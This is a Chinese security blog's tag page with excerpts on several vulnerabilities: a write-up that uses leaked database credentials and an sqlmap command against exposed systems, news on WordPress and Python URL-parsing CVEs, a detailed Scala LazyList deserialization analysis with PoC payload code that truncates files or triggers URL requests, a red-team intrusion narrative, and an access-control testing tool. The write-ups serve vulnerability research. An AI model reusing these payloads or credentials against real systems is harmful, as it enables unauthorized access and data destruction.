网站首页 包含标签 漏洞 的所有文章

  • 记一次某年代久远的某云漏洞到获得cnvd证书

    一、前言 去年在做云安全运维时,忙的都没有空挖漏洞。为了弥补去年一年cnvd证书的空缺,某一天晚上我打开了FOFA搜索关键字"系统",找到了某个系统网站进行测试。 二、思路历程 找到该系统时,首先用插件看了下网站接口是否存在未授权访问。 看了圈都是下载相关的页面,接着就用dirsearch进行目录扫描。 其中在检查扫描到的目录/login.php时,访问该网页时跳出 然后一堆代码一闪而过后,跳转到如下页面 看到上面的情形我猜测网站环境可能是不支持php的,php源码会直接打印出来 接着抓包访问/login.php,果不其然登录页面源码出现了: 在登录的源码中,最有利用价值的莫过于是数据库的账号密码、数据库名称,但是3306端口不一定就是开在公网上的 于是我把FOFA上所有的该系统都扒下来,放进goby中只检测开放了3306端口的系统 在企查查发现该系统的开发商注册资产超过5000万,漏洞目标又有10+,满足申请cnvd证书的条件 已知数据库为KDM3ADB,账号为root,密码为kdc 直接使用sqlmap对数据库进行注入: python3 sqlmap.py -d "mysql://root:kdc@X.X.X.X:3306/KDM3ADB" --tables 这样一张证书就到手了。 验证是dba的权限,以为能一把梭得到源码再审计一波 不过这个注入的地方虽然是dba的权限,但是却没有文件上传的权限,所以无法getshell   拿到数据库了,可以再测试一波弱口令 翻了下密码是这样的,很抽象应该是自己写了加密 回到之前login.php源码泄露里面,其中在登录时有对密码进行解密的源码,看着很头疼,想起了学密码学时候那些交换变换的算法 // 密码加密函数 function EncryptStr($strSo ...

    2023-11-09 技术教程 192
  • WordPress 迁移插件存在漏洞,或引发大规模数据泄露

    Bleeping Computer 网站披露,拥有 500 万安装用户的 WordPress 网站数据迁移插件 All-in-One WP Migration 存在未经身份验证的访问令牌操作漏洞,攻击者可借此访问网站敏感的数据信息。 漏洞被追踪为 CVE-2023-40004,允许未经身份验证的“用户”访问和操纵受影响扩展上的令牌配置,使网络攻击者将网站迁移数据转移到自身的第三方云服务账户或恢复恶意备份,一旦成功利用 CVE-2023-40004 ,导致包括用户详细信息、关键网站数据和专有信息等数据信息泄露。 All-in-One WP Migration 是一款流行的 WordPress 网站迁移工具,适用于非技术和经验不足的用户,允许将数据库、媒体、插件和主题无缝导出到一个易于在新目的地恢复的单个存档中。 Patchstack 表示插件供应商 ServMask 提供的各种高级扩展都包含相同的易受攻击代码片段,这些代码片段在 init 函数中缺乏权限和 nonce 验证。(该代码还存在于 Box 扩展、Google Drive 扩展、One Drive 扩展和 Dropbox 扩展中,这些扩展都是为了方便使用上述第三方平台的数据迁移过程而创建。) 好消息是,由于 All-in-One WP Migration 只在网站迁移项目中使用,通常不会在其它任何时候激活,因此在一定程度上缓解了漏洞带来的安全问题。 供应商已发布漏洞安全更新 2023 年 7 月 18 日,PatchStack 研究员拉菲-穆罕默德(Rafie Muhammad)发现了 CVE-2023-40004 漏洞,随后便报告给了 ServMask 。2023 年 7 月 26 日,供应商 ServMask 发布了安全更新,为 init 函数引入了权限和非 nonce 验证。 已应用的补丁(Patchstack) 建议受影响的第三方扩展用户升级到以下修复版本: Box 扩展:v1.54 Google Drive 扩展:v2.80 OneDrive 扩展:v1.67 Dropbox 扩展:v3.76 此外,研究人员还建议用户使用最新版本的(免费)基础插件 All-in-One WP Migration v7.78。 文章来源: https://www.bleepingcomputer.com/news/security/wordpress-migration-add-on-flaw-could-lead-to-data-breaches/ ...

    2023-08-31 211
  • 基于LazyList的Scala反序列化漏洞透析(CVE-2022-36944)

    引言 前段时间打SCTF,大牛师傅们的WP后,在hello java那道题使用了CVE-2022-36944这个漏洞,但是查阅资料在国内乃至全世界互联网中没有找到相关分析文章,在github上找到了1个复现项目环境,研究了一些时间大概懂了一点。 没接触过Scala语言,虽然和java兼容性很强,但很多语言特性和机制都是第一次接触,而且有段时间没搞java安全了,这次相当于没有现成的分析文章,只能硬着头皮啃 POC复现环境 Github: lazylist-cve-poc “线索” For security, preventFunction0execution duringLazyListdeserialization 关于这个CVE的最详细的信息就是这位CVE发现者提交的issue,所以我能挖掘到的一切关于这个CVE的信息都是基于上面的POC环境和这个issue 利用条件 scala版本<2.13.9 允许用户伪造序列化字节流数据 前置知识 对于我本人来说,要钻透某个漏洞的话就必须要搞清楚是哪一步产生了漏洞,那么前提就是要了解这个漏洞产生流程的大框架,否则只针对链子上某点出现的反序列化干分析不仅枯燥难懂而且总感觉少了点什么 有Scala基础的师傅可以直接跳过这部分 Scala简介 Scala语言是一门多范式的编程语言,设计初衷是要集成面向对象编程和函数式编程的各种特性。Scala运行在Java虚拟机上,并兼容现有的Java程序。Scala源代码被编译成Java字节码,所以它可以运行于JVM之上,并可以调用现有的Java类库。 Scala和Java之间的联系很紧密,Scala可以看作是对Java语言的丰富和扩展,Scala比Java更加灵活和强大,支持更多的编程范式和语言特性,例如高阶函数、模式匹配、特质、偏函数、隐式转换等。 这个特性对于经验丰富的scala开发者来说很舒服,但对于第一次接触scala就要啃源码的人来说非常非常非常不友好,比如笔者 Scala也可以利用Java的丰富的生态系统,使用Java的各种框架和库。 Scala和Java之间的区别也很明显,Scala有自己的语法规则和风格,与Java有很多不同之处,例如变量声明、函数定义、类构造、异常处理、集合操作等。Scala还有一些Java没有的概念,例如伴生对象、样例类、富接口、自身类型等 基础语法即使不懂scala也差不多能看懂,所以不涉及语法糖或者比较新的机制的地方本篇文章不做论述 但scala代码的有些地方还是容易迷糊,所以在之后部分涉及到的语法看不懂的可以先自行学习一下 匹配器match Scala语言的匹配器match是一种强大的语法结构,它可以让你根据不同的条件对一个值进行分支处理,类似于Java中的switch语句,但是更加灵活和强大。 match的基本用法 // 定义一个值 val x = ... // 使用match对值进行匹配 x match { // 每个case表示一种匹配情况 case 条件1 => 结果1 // 如果x满足条件1,就返回结果1 case 条件2 => 结果2 // 如果x满足条件2,就返回结果2 ... case _ => 默认结果 // 如果x都不满足上面的条件,就返回默认结果,_表示任意值 }   当然,你也可以用其他字符表示默认结果,而与_的区别就是_作为接受其他情况的变量时不会赋予$值 object Main { def show(result:String):Unit={ println(result) } def main(args: Array[String]): Unit = { val x=11 val y=x match { case 1 => "one" case 2 => "two" case other => s"other: $other" // other是一个变量名,它会接收除了1和2以外的任何值 //case _ => s"other: $" //错误:Cannot resolve symbol _ } show(y) //other: 11   }} match可以匹配不同类型的值,比如整数、字符串、布尔值等,也可以匹配复杂的数据结构,比如列表、元组、样例类等。match还可以使用模式守卫来增加额外的判断条件,比如: x match { case 条件1 if 表达式1 => 结果1 // 如果x满足条件1,并且表达式1为真,就返回结果1 case 条件2 if 表达式2 => 结果2 // 如果x满足条件2,并且表达式2为真,就返回结果2 ...} match的其他用法 // 把match赋值给一个变量val result = x match { case 条件1 => 结果1 case 条件2 => 结果2 ...}   // 把match作为函数的参数def foo (y: Int) = {println (y)}foo (x match {case 条件1 => 结果1case 条件2 => 结果2...}) // 把match作为函数的返回值def bar (z: String): Boolean = z match {case "yes" => truecase "no" => falsecase _ => false}   总的来说,match是一个表达式,它有一个返回值 apply方法 apply方法是Scala中一个非常有用的特性,它可以让我们用一种简洁而直观的方式来创建和使用对象。 apply方法的本质是一个普通的方法,它可以定义在类或者对象中,但是它有一个特殊的语法糖,就是当我们用括号传递参数给一个类或者对象时,Scala会自动调用它的apply方法,并把参数传给它。 例如: // 定义一个类Person,有一个name属性class Person(val name: String)   // 定义一个伴生对象Person,有一个apply方法,接受一个name参数,返回一个Person实例object Person {def apply(name: String) = new Person(name)} // 创建一个Person实例,可以直接用Person("Alice"),而不需要用new Person("Alice")val alice = Person("Alice")//相当于Person.apply("Alice") // 打印alice的name属性,输出Aliceprintln(alice.name)   我们通过Person("Alice")这种方式创建了一个Person实例,而不需要用new关键字。这是因为Scala会把Person("Alice")转换成Person.apply("Alice"),也就是调用了伴生对象Person的apply方法,并把"Alice"作为参数传给它。这样就可以省略new关键字,让代码更简洁。 apply方法不仅可以定义在伴生对象中,也可以定义在类中。当我们对一个类的实例用括号传递参数时,Scala会调用该类的apply方法,并把参数传给它。 object Main {   def main(args: Array[String]): Unit = { class Person(val name: String){ //在类中定义apply方法,输出name def apply() :Unit = println(s"I am $name") } var p= new Person("lanb0") p()//相当于p.apply() //I am lanb0 }} 伴生对象 伴生对象是Scala中一种特殊的单例对象,它与一个同名的类存在于同一个文件中,这个类被称为伴生类。 伴生对象和伴生类之间有以下几个特点: 伴生对象和伴生类可以互相访问对方的私有成员,包括字段和方法。 伴生对象的成员相当于Java中的静态成员,可以直接通过对象名调用,而不需要创建对象实例。 伴生对象可以实现apply方法,用于创建伴生类的实例,这样就可以省略new关键字。 伴生对象可以实现unapply方法,用于实现模式匹配和提取器的功能。 伴生对象可以扩展一个或多个特质(trait),从而实现多重继承和混入(mixin)的效果。 下面是一个简单的例子,演示了伴生对象和伴生类的定义和使用: // 定义一个Person类,作为伴生类class Person(val name: String, val age: Int) { private val secret = "I love Scala"   def sayHello(): Unit = {println(s"Hello, I am $name, $age years old.")}} // 定义一个Person对象,作为伴生对象object Person { var count = 0 def increase(): Unit = {count += 1println(s"Person count: $count")} def showSec():Unit={println(apply("test",1).secret)} // 定义一个apply方法,用于创建Person类的实例def apply(name: String, age: Int): Person = {increase()new Person(name, age) // 返回新的Person对象} // 定义一个unapply方法,用于提取Person类的属性def unapply(person: Person): Option[(String, Int)] = {if (person == null) None // 如果person为空,返回Noneelse Some(person.name, person.age) // 否则返回Some元组}}object Main { def main(args: Array[String]): Unit = {// 使用伴生对象的apply方法创建Person类的实例,省略了new关键字val p1 = Person("Alice", 20)//Person count: 1val p2 = Person("Bob", 25)//Person count: 2 // 使用伴生对象的字段和方法 println(Person.count) // 输出2 Person.increase() // Person count: 3 Person.showSec()//输出Person count: 4 //I love Scala(伴生对象可以访问伴生类的私有成员) // 使用伴生类的字段和方法 /* println(p1.secret)// 无法访问私有成员 */ p1.sayHello() // 输出Hello, I am Alice, 20 years old. // 使用模式匹配和提取器,利用伴生对象的unapply方法 val p3=null p1 match { case Person(name, age) => println(s"$name is $age years old.") // 输出Alice is 20 years old. case _ => println("Unknown person.") } p3 match { case Person(name, age) => println(s"$name is $age years old.") // 输出Unknown person. case _ => println("Unknown person.") } }}   特质trait Scala语言中,有一个Scala语言中,有一个重要的概念叫做特质(trait),它类似于Java语言中的接口,但是比接口更加强大和灵活。 特质(trait)是一种定义了一组抽象或具体的属性和方法的类型,它可以被类(class)或对象(object)扩展(extends)或混入(mix in)。 特质可以实现多重继承,也就是说,一个类可以继承多个特质,从而获得所有特质中定义的属性和方法。 特质的定义和使用 特质的定义使用关键字trait trait PersonBody { val height: Int}     但是特质不能被实例化,因此特质没有参数,也没有构造函数。像trait PersonBody(170)或者new PersonBody(170)这样的写法就是错的,可以类比java的接口无法实例化 要使用特质,可以使用extends关键字来扩展一个或多个特质 扩展单个特质 object Main { trait PersonBody { var height: Int } class Person(name : String) extends PersonBody{ override var height: Int = 170 } def main(args: Array[String]): Unit = { var person = new Person("Cloud") println(person.height) //170 }} 注意,重写(实现)属性或方法时,需要使用override关键字来修饰 trait的方法声明必须被实现 扩展多个特质 使用with关键字来连接 object Main { trait PersonBody { var height: Int } trait PersonHobby{ var hobbyGame="Honor of King : World" def showHobby() } class Person(name : String) extends PersonBody with PersonHobby { override var height: Int = 170   override def showHobby(): Unit = { println(hobbyGame) } }def main(args: Array[String]): Unit = {var person = new Person("Cloud")person.showHobby() }}   with后面可以跟with,来扩展很多特质 object Main { trait PersonBody { var height: Int } trait PersonHobby{ var hobbyGame="Honor of King : World" def showHobby():Unit } trait PersonScore{ var math="150" def showScore():Unit } class Person(name : String) extends PersonBody with PersonHobby with PersonScore { override var height: Int = 170   override def showHobby(): Unit = { println(hobbyGame) } override def showScore(): Unit = { println(math) } } def main(args: Array[String]): Unit = { var person = new Person("Cloud") person.showHobby() person.showScore() }}/*输出Honor of King : World150*/ 自身类型self-type self-type表示一个类或特质依赖于另一个类型,即它必须和另一个类型混入(mixin)才能被实例化。 用一个简单的例子来解释Scala自身类型的概念。假设你有一个宠物猫,它有一些属性和行为,比如名字、颜色、叫声等。你可以用一个类来表示它: class Cat { val name: String = "Tom" val color: String = "Gray" def meow(): Unit = println("Meow!")} 现在,你想给你的猫添加一些新的功能,比如会说话、会唱歌、会跳舞等。你可以用特质来定义这些功能: trait Talkative { def talk(): Unit}   trait Singer {def sing(): Unit} trait Dancer { def dance(): Unit} 但是,这些功能并不是所有的猫都有的,只有一些特殊的猫才有。比如,只有会说话的猫才能唱歌,只有会唱歌的猫才能跳舞。你怎么表示这种依赖关系呢?你可以用自身类型来做到这一点: trait Talkative { def talk(): Unit}   trait Singer {self: Talkative => // 声明自身类型,表示Singer依赖于Talkativedef sing(): Unit = {talk() // 可以直接使用Talkative的成员println("La la la...")}} trait Dancer { self: Singer => // 声明自身类型,表示Dancer依赖于Singer def dance(): Unit = { sing() // 可以直接使用Singer的成员 println("Shake shake shake...") }} 这样,你就可以给你的猫混入这些特质,让它变得更有趣: val tom = new Cat with Talkative with Singer with Dancer // 创建一个会说话、唱歌、跳舞的猫tom.talk() // 输出:Meow!tom.sing() // 输出:Meow! La la la...tom.dance() // 输出:Meow! La la la... Shake shake shake... 但是,如果你试图给一个不会说话的猫混入Singer或Dancer特质,就会报错: val jerry = new Cat with Singer // 报错:illegal inheritance; self-type Cat with Singer does not conform to Singer's selftype Singer with Talkativeval lily = new Cat with Dancer // 报错:illegal inheritance; self-type Cat with Dancer does not conform to Dancer's selftype Dancer with Singer 这是因为自身类型注解限制了混入特质的对象必须满足依赖类型的条件。这样可以保证对象在使用特质的成员时不会出现错误。 惰性列表LazyList(重点) LazyList是Scala 2.13版本引入的新的集合类型,它是一种惰性求值的列表。惰性求值的意思是,列表中的元素只有在需要的时候才会被计算,而不是一开始就全部计算好。这样可以节省内存和时间,也可以表示无限的序列。 State,head及tail 名称 类型 作用 state 字段 存储LazyList对象的状态,表示惰性序列的结构和计算状态 State 特质 定义LazyList对象的状态的特质,有两个子类:Cons和Empty tail 方法 返回一个新的LazyList对象,包含除了第一个元素之外的所有元素,惰性求值 head 方法 返回LazyList对象的第一个元素,严格求值 State private sealed trait State[+A] extends Serializable { def head: A def tail: LazyList[A] } state private lazy val state: State[A] = { // if it's already mid-evaluation, we're stuck in an infinite // self-referential loop (also it's empty) if (midEvaluation) { throw new RuntimeException("self-referential LazyList or a derivation thereof has no more elements") } midEvaluation = true val res = try lazyState() finally midEvaluation = false // if we set it to true before evaluating, we may infinite loop // if something expects state to already be evaluated stateEvaluated = true lazyState = null // allow GC res } 通过lazyState()方法去计算State的head和tail,保证LazyList的实时状态正确 关键字lazy表示延迟计算,也就是使用到的时候才会计算出结果 工作原理(关键) 光看上面的这几个成员会让人很头大,所以我用了很长一段时间才把他们的内在联系和整个LazyList体系的运行机制搞明白了 首先,我们创建一个存有无限个数字"1"的LazyList val ones = LazyList.continually(1) 此时,我们println这个惰性列表,可以发现是全都没有计算的,会打印出LazyList(<not computed>) 之后,我们用drop方法取出第一个元素(索引为0),就要用到我们之前的head方法,返回LazyList对象的第一个元素。然后再次打印这个LazyList println(ones.drop(0).head)//1println(ones)//LazyList(1, <not computed>) 好了,到此结束,接下来我们分析一下LazyList的内部做了什么 内部流程 创建LazyList时,LazyList会接受一个参数lazyState(一般情况下用户不用管),这个lazyState是一个无参的匿名函数,这个匿名函数会返回一个State对象,这个State存储着head和tail方法 private sealed trait State[+A] extends Serializable { def head: A def tail: LazyList[A]} 这个匿名函数的head方法是:返回一个元素,这个元素是当前LazyList计算出的第一个元素 这个匿名函数的tail方法是: 返回一个新的LazyList,存储着除了第一个元素之外的其他元素(这里的"存储"并不是实际存在的,更恰当的说是表示其他元素的一个集合) 注意,此时匿名函数并没有被调用,也就是说state字段的head和tail都还没有实现 到目前为止,LazyList里面一个实际存储的元素都没有,所以会显示LazyList(<not computed>) 接下来,我们调用了方法来取出第一个元素 LazyList会使用state.head来获取第一个元素,此时需要用到state,所以懒加载的state字段开始初始化 private lazy val state: State[A] = { state字段在初始化过程中,会调用lazyState()方法,这个lazyState就是LazyList的构造器接受的那个匿名函数。 val res = try lazyState() finally midEvaluation = false lazyState方法执行完后会返回一个State对象,这个State的head方法返回数字1,而tail方法返回一个新的存着无限个1的LazyList LazyList使用state.head方法获取到结果之后,把结果返回给drop.head的方法调用者 之后,如果未来还要取新的元素,那么我们所使用的LazyList就是tail方法返回的那一个新的存有无限个1的LazyList,而刚开始创建的那个LazyList就被垃圾回收器收走了 通过这个流程,我们可以看出惰性列表的本质,就是不停地用方法去取值,而不是一开始就存着[1,1,1,1,1......]在内存中 LazyList如何实现序列化与反序列化(关键) SerializationProxy类,它是一个序列化代理,它是用来代替LazyList对象进行序列化和反序列化的类。 官方注解 翻译过来就是: 序列化代理用于将LazyList转换成一个可以存储或者传输的格式。 这个序列化代理适用于那些以一系列已经计算出来元素开头的LazyList。这些已经计算出来的元素会以一种紧凑的顺序格式进行序列化,然后跟着未计算出来的元素,它们使用标准的Java序列化方式来存储未计算出来的元素的结构。这样就可以实现对长的已经计算出来的惰性序列的序列化,而不会因为递归地序列化每个元素而耗尽栈空间。 序列化 private[this] def writeObject(out: ObjectOutputStream): Unit = { out.defaultWriteObject() var these = coll while(these.knownNonEmpty) { out.writeObject(these.head)//这里决定了POC里的createLazyList中,为什么需要设置一个空的state these = these.tail } out.writeObject(SerializeEnd) out.writeObject(these) } 流程可以分为以下几步: 调用out.defaultWriteObject()方法,这是一个标准的序列化操作 使用一个while循环遍历LazyList对象中已经计算出来的元素,并且使用out.writeObject方法将每个元素序列化 遇到第一个未计算出来的元素时,跳出循环 序列化一个特殊的标记SerializeEnd,表示已经计算出来的元素结束了 使用out.writeObject方法将未计算出来的元素(也就是LazyList对象的tail)进行序列化 序列化结束 反序列化 private[this] def readObject(in: ObjectInputStream): Unit = { in.defaultReadObject() val init = new ArrayBuffer[A] var initRead = false while (!initRead) in.readObject match { case SerializeEnd => initRead = true case a => init += a.asInstanceOf[A] } val tail = in.readObject().asInstanceOf[LazyList[A]] coll = init ++: tail } 流程可以分为以下几步: 调用in.defaultReadObject()方法,这是一个标准的反序列化操作。 创建了一个名为init的数组缓冲区,用来存储已经计算出来的元素。 使用一个while循环反序列化每个元素,并且判断是否是特殊的标记SerializeEnd。 如果不是,就将该元素添加到init数组缓冲区中; 如果是,就表示已经计算出来的所有元素都已经反序列化完了,跳出循环。 反序列化剩余的没有计算出的元素,并将其类型转换为LazyList 使用++:方法连接init和tail,重构LazyList 反序列化结束 漏洞分析 CVE-2022-36944的产生原因,简单来说就是scala的LazyList在反序列化时会调用一个无参匿名函数来更新LazyList的状态,而这个函数是是可以被控制的 首先是ObjectInputStream.readObject方法接受到伪造的序列化字节流之后,尝试反序列化LazyList,进而把控制权转交给SerializationProxy类的readObject方法 执行到++:方法, 跟进++:(没想到吧,我是个方法) 可以看到调用了prependedAll方法,但是在LazyList中重写了这个方法 跟进knownIsEmpty方法, 这里要让stateEvaluated为true,否则不会执行isEmpty方法 跟进isEmpty方法, 跟进state字段, 跟进LazyState函数,可以发现就是LazyList构造器接受的无参匿名函数 最终我们只需要提前将这个函数替换为符合条件的任意函数,就可以达到漏洞利用的效果 如何找到可利用的方法 从LazyList的构造器的参数定义中,可以看出,lazyState的要求是一个无参的匿名函数,其次这个CVE利用的是函数,并不能RCE,所以我们还需要找到标准java库或者scala库中可以使用的无参匿名函数 我们需要知道,在Scala中,所有无参匿名函数都会被编译器转换为实现了Function0接口的实例对象, 假如我们有以下代码: object Main { def main(args: Array[String]): Unit = { //定义一个匿名函数a val a=()=>{} }} 用scalac编译为class字节码 scalac Main.scala javap反编译 javap Main$.class scala编译器会为每一个伴生对象创建一个对象名(类名)+$结尾的类,类中的MODULE$静态成员就是伴生对象自身,存有自身的所有属性和方法 或者直接复制以下代码 object Main { class test(val func:()=>Int){ def show(): Unit = { func() } }} 然后Ctrl+左键查看func的类型信息 可以看到编译器自动将func所表示的匿名函数转换为了Function0的实现对象 那么接下来的任务,就是要找到实现了Function0的所有类 查看POC中的DefaultProviders类,发现使用的都是以$$anonfun$$lessinit$greater$x 结尾的类,这些类 scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3scala.sys.process.ProcessBuilderImpl$FileInput$$anonfun$$lessinit$greater$2scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1 这里再稍微说一下这些类名是如何生成的,以scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1为例 Scala编译器在编译Scala代码时,会将匿名函数转换成Java字节码,这样就可以在Java虚拟机上运行。为了与Java兼容,Scala编译器会为每个匿名函数生成一个类,并给这个类一个特殊的名字,通常是anonfun加上一些数字和符号。这个类名的作用是唯一地标识这个匿名函数,以便在运行时调用。 $URLInput:表示ProcessBuilderImpl的内部类 $$anonfun:表示匿名函数的前缀,表示这是一个自动生成的类。 $$lessinit$greater:是<init>的转义形式,表示这个匿名函数是在构造器中定义的。 $1:是匿名函数的序号,表示这是第一个匿名函数。 去追踪一下这个类,发现最多只能看到URLInput类 那如果直接用URLInput行不行呢,尝试把代码改一下 public static Function0<Object> urlInput(Object[] args){ try { URL url = new URL((String) args[0]); return ReflectionUtil.newInstance("scala.sys.process.ProcessBuilderImpl$URLInput", new Class[]{ ProcessBuilder$.class, URL.class}, new Object[] { ProcessBuilder$.MODULE$,url});//这里要用ProcessBuilder的实例对象,否则报错 } catch (MalformedURLException e) { throw new RuntimeException(e); }   }   生成一下payload 发现报错,这是因为URLinput就是一个正常的类,而不是由Scala编译器转换过来的匿名函数,无法转换为Function0 所以说不能直接用URLinput作为利用方法 再回到scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1,以及URLInput类的那行定义, class URLInput(url: URL) extends IStreamBuilder(url.openStream(), url.toString) 猜测:当一个类继承了一个父类,并且这个被继承的父类的构造参数调用了子类构造参数的方法时,scala编译器会生成一个 带有$$anonfun$$lessinit$greater$类名的类。 做一个实验, class a(){ def msg(): String = { return "i am class a" }}class b (name:String)class c(url:a) extends b(url.msg()) 用sbt 生成字节码,查看生成的class 并没有生成带有$$anonfun$$lessinit$greater$类名的类,感觉还是忽略了什么 去查看IStreamBuilder类,也就是被URLInput继承的类, 发现其第一个构造参数如下 stream: => InputStream 这里的=>可不是()=>{}的简写,而是一个新的概念,叫做传名参数 传名参数是一种特殊的参数类型,它表示参数的值不是在函数调用时就确定,而是在函数体内每次使用时才计算。 可以理解为惰性求值,需要传入一个函数 更改实验代码: package zhb   class a(){ def msg(): String = { return "i am class a" }}class b (name: =>String)//这里注意冒号和等号之间的空格class c(url:a) extends b(url.msg()) clean一下,然后stb编译 多出来了c$$anonfun$$lessinit$greater$1.class, url.msg()即使改为一个带有参数的方法,也依然会生成同名类 观察其字节码可以发现其调用的a.msg() 到此为止,类比推理一下,我们终于明白scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1这个编译器自动生成的类其实就是url.openStream()方法转换而来的, 也就是说,在LazyList计算state时使用的LazyState(),经过我们精心构造后被替换为了url.openStream()方法 对应的可利用函数还有如下: 对于url.openStream(),虽然他自身并不是匿名函数,理应是一个函数返回值。 但是因为自己是被作为传名参数调用的,这个方法只会再被需要使用时执行,所以会存留方法的引用或者说实现。 object HelloWorld { def main(args: Array[String]) { def msg(): Unit = { println("msg used!") } class a(age: => Unit) {//传名参数 } new a(msg()) //什么都不会输出 }} 又因为是作为父类的构造参数,所以scala编译器会为父类的传名参数生成一个实现了Function0类的子类,即使这个参数的实现方法参数可能不为0 对于FileInputStream和FileOutputStream的new方法,同理 综上所述,CVE-2022-36944的可利用方法的符合条件如下: 1.作为传名参数被使用 2.满足(1)的同时,作为父类的构造参数 3.存在于受害者服务环境中的classpath中 有兴趣的师傅可以再找找有没有其他可利用方法 漏洞复现 poc.cve.lazylist.payload.Main更改为Base64方式输出 public class Main { public static void main(String[] args) throws IOException { ....   String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64); } } victim改为对Base64进行反序列化 public class Victim { public static void main(String[] args) throws IOException { String data="rO0........."; deserialize(Base64.getDecoder().decode(data));   } } urlInput 起一个http服务或者dnslog, public class Main { public static void main(String[] args) throws IOException { String fileToTruncate = "http://url"; PayloadGenerator payloadGenerator = new LazyList(DefaultProviders.URL_INPUT); byte[] payload = payloadGenerator.generatePayload(fileToTruncate); String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64);   } } 生成payload后,复制给poc.cve.lazylist.victim.Victim的data变量,执行 可以接受到http请求,但是无法弹shell fileOutput 这个payload可以用来清空文件内容,比如黑名单 或者打开一个追加流,但没什么用 比如我们创建一个waf.txt,随便写点东西 public class Main { public static void main(String[] args) throws IOException { String fileToTruncate = "文件的绝对路径"; PayloadGenerator payloadGenerator = new LazyList(DefaultProviders.FILE_OUTPUT); boolean append=false;//清空文件 byte[] payload = payloadGenerator.generatePayload(fileToTruncate,append); String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64);   } } 生成payload后,复制给poc.cve.lazylist.victim.Victim的data变量,执行后清空文件内容 fileInput 文件输入流是用来读取文件的,所以在不能使用方法的前提下没什么用 心得感悟 断断续续用了一周左右的时间,从对scala的代码都看不懂到写完这篇文章,期间走了很多弯路,甚至想放弃,直到现在都无法相信自己能硬啃下来这个CVE,所以说,坚持不一定有好的结果,但一定会有收获。 最后,请允许我以崇高的敬意给予挖掘0day的安全研究员们  ...

    2023-08-20 227
  • 攻防演练 | 记一次打穿某车企全过程

    0x00 前言 本文介绍了笔者在某次攻防演练中,如何从外网渗透到某车企的内网的详细过程(为了保护敏感信息,所有数据都已经脱敏,有些截图也不完整,请见谅)。 这次网络攻防演练分为两个阶段一共十四天,前七天是私有资源阶段,后七天是公共资源池阶段。共有12支队伍参与比赛,我们公司全程只有两名选手参赛。由于公司从不提供一些辅助工具和人力资源,并且我俩近期连续参加了多场比赛,导致每次比赛后我俩都很内耗。 0x01 信息收集 裁判只给出了目标企业的名称,让我们自行寻找其他的信息,这是对我们资源差的队伍是一种考验。 幸运的是,笔者之前编写了一套信息收集的辅助脚本,现在可以派上大用场了。 首先,使用子公司收集脚本来搜索一级子公司。该脚本根据特定的条件和规则进行搜索,以获取与一级公司有50%的控股关系的子公司。然后,我们对这些一级子公司再次使用脚本进行搜索,以找到与它们有50%的控股关系的子公司。这个过程不断循环,直到没有符合条件的子公司为止,所以你看到下面最深达到了四级公司。 接下来,再用资产收集脚本对子公司收集脚本的ICP结果进行一系列的操作,该脚本包括子域名匹配、端口扫描、web路径搜索、服务识别等,最终结果会到了以下三个文件,其中ip文件可以交给灯塔去进行信息收集、url文件可以交给poc扫描器、详情文件可以在扫描poc的时候手工去寻找一些POC扫描器里面没有的漏洞(如弱口令,手动狗头)。 0x02 web打点 我先用poc扫描器(xray青春版,poc-bomber等开源作品)对资产收集的结果进行了一番扫描,结果没有发现一个可利用漏洞(人少公司也不提供些打点资源,怎么搞嘛,狗头保命)。没办法,只能老老实实手动地一个个分析哪些URL可能有惊喜了。在翻了一大堆无聊的页面后,我目光锁定在了一个url上,这url的title是XXConfluence当发现这个网站使用的是Confluence时,我想很多师傅们都知道该怎么做了。我立刻检测它是否存在RCE,经过一番尝试后,发现这个版本确实存在RCE,并且确认了服务器的操作系统是Linux。 接下来就把shell反弹到服务器上,发现已经拿到了无限制的shell访问权限。马上做了一个远程控制马并上传到目标服务器。MSF上线后我就查了一下网卡,发现这个服务器有个172.32.0.30的网卡,接着上传代理工具。 ...

    2023-08-14 190
  • 新的 Python URL 解析漏洞可能导致命令执行攻击

    Python URL 解析函数中的一个高严重性安全漏洞已被披露,该漏洞可绕过 blocklist 实现的域或协议过滤方法,导致任意文件读取和命令执行。 CERT 协调中心(CERT/CC)在周五的一份公告中说:当整个 URL 都以空白字符开头时,urlparse 就会出现解析问题。"这个问题会影响主机名和方案的解析,最终导致任何拦截列表方法失效"。 该漏洞为 CVE-2023-24329,CVSS 得分为 7.5。安全研究员 Yebo Cao 于 2022 年 8 月发现并报告了该漏洞。该漏洞已在以下版本中得到解决: >= 3.12 3.11.x >= 3.11.4 3.10.x >= 3.10.12 3.9.x >= 3.9.17 3.8.x >= 3.8.17 3.7.x >= 3.7.17 urllib.parse 是一个广泛使用的解析函数,可将 URL 分解为各个组成部分,或将各个组成部分合并为一个 URL 字符串。 CVE-2023-24329 的出现是由于缺乏输入验证,从而导致有可能通过提供以空白字符开头的 URL(例如 " https://youtube[.]com")来绕过 blocklisting 。 该漏洞可以帮助攻击者绕过主机设置的保护措施,同时在多种场景下助力 SSRF 和 RCE。 参考链接:https://thehackernews.com/2023/08/new-python-url-parsing-flaw-enables.html ...

    2023-08-14 138
  • 一款API水平越权漏洞检测工具

    功能 通过替换认证信息后重放请求,并对比数据包结果,判断接口是否存在越权漏洞 特点 1. 支持HTTPS2. 自动过滤图片/js/css/html页面等静态内容3. 多线程检测,避免阻塞4. 支持输出报表与完整的URL、请求、响应 安装和使用 安装依赖   python3 -m pip install -r requirements.txt 启动 python3 start.py 即可监听socks5://127.0.0.1:8889。安装证书使用SwitchOmega等插件连接该代理,并访问mitm.it即可进入证书安装页面,根据操作系统进行证书安装。以MacOS为例: 下载安装后,打开钥匙串访问,找到mitmproxy证书,修改为alwaystrust 检测漏洞首先准备好目标系统的A、B两账号,根据系统的鉴权逻辑(Cookie、header、参数等)将A账号信息配置config/config.yml,之后登录B账号 使用B账号访问,脚本会自动替换鉴权信息并重放,根据响应结果判断是否存在越权漏洞 生成报表每次有新漏洞都会自动添加到report/result.html中,通过浏览器打开: 点击具体条目可以展开/折叠对应的请求和响应:下载地址:https://github.com/y1nglamore/IDOR_detect_tool...

    2023-02-28 242
  • 高危漏洞利用工具 -- Apt_t00ls(1月6日更新)

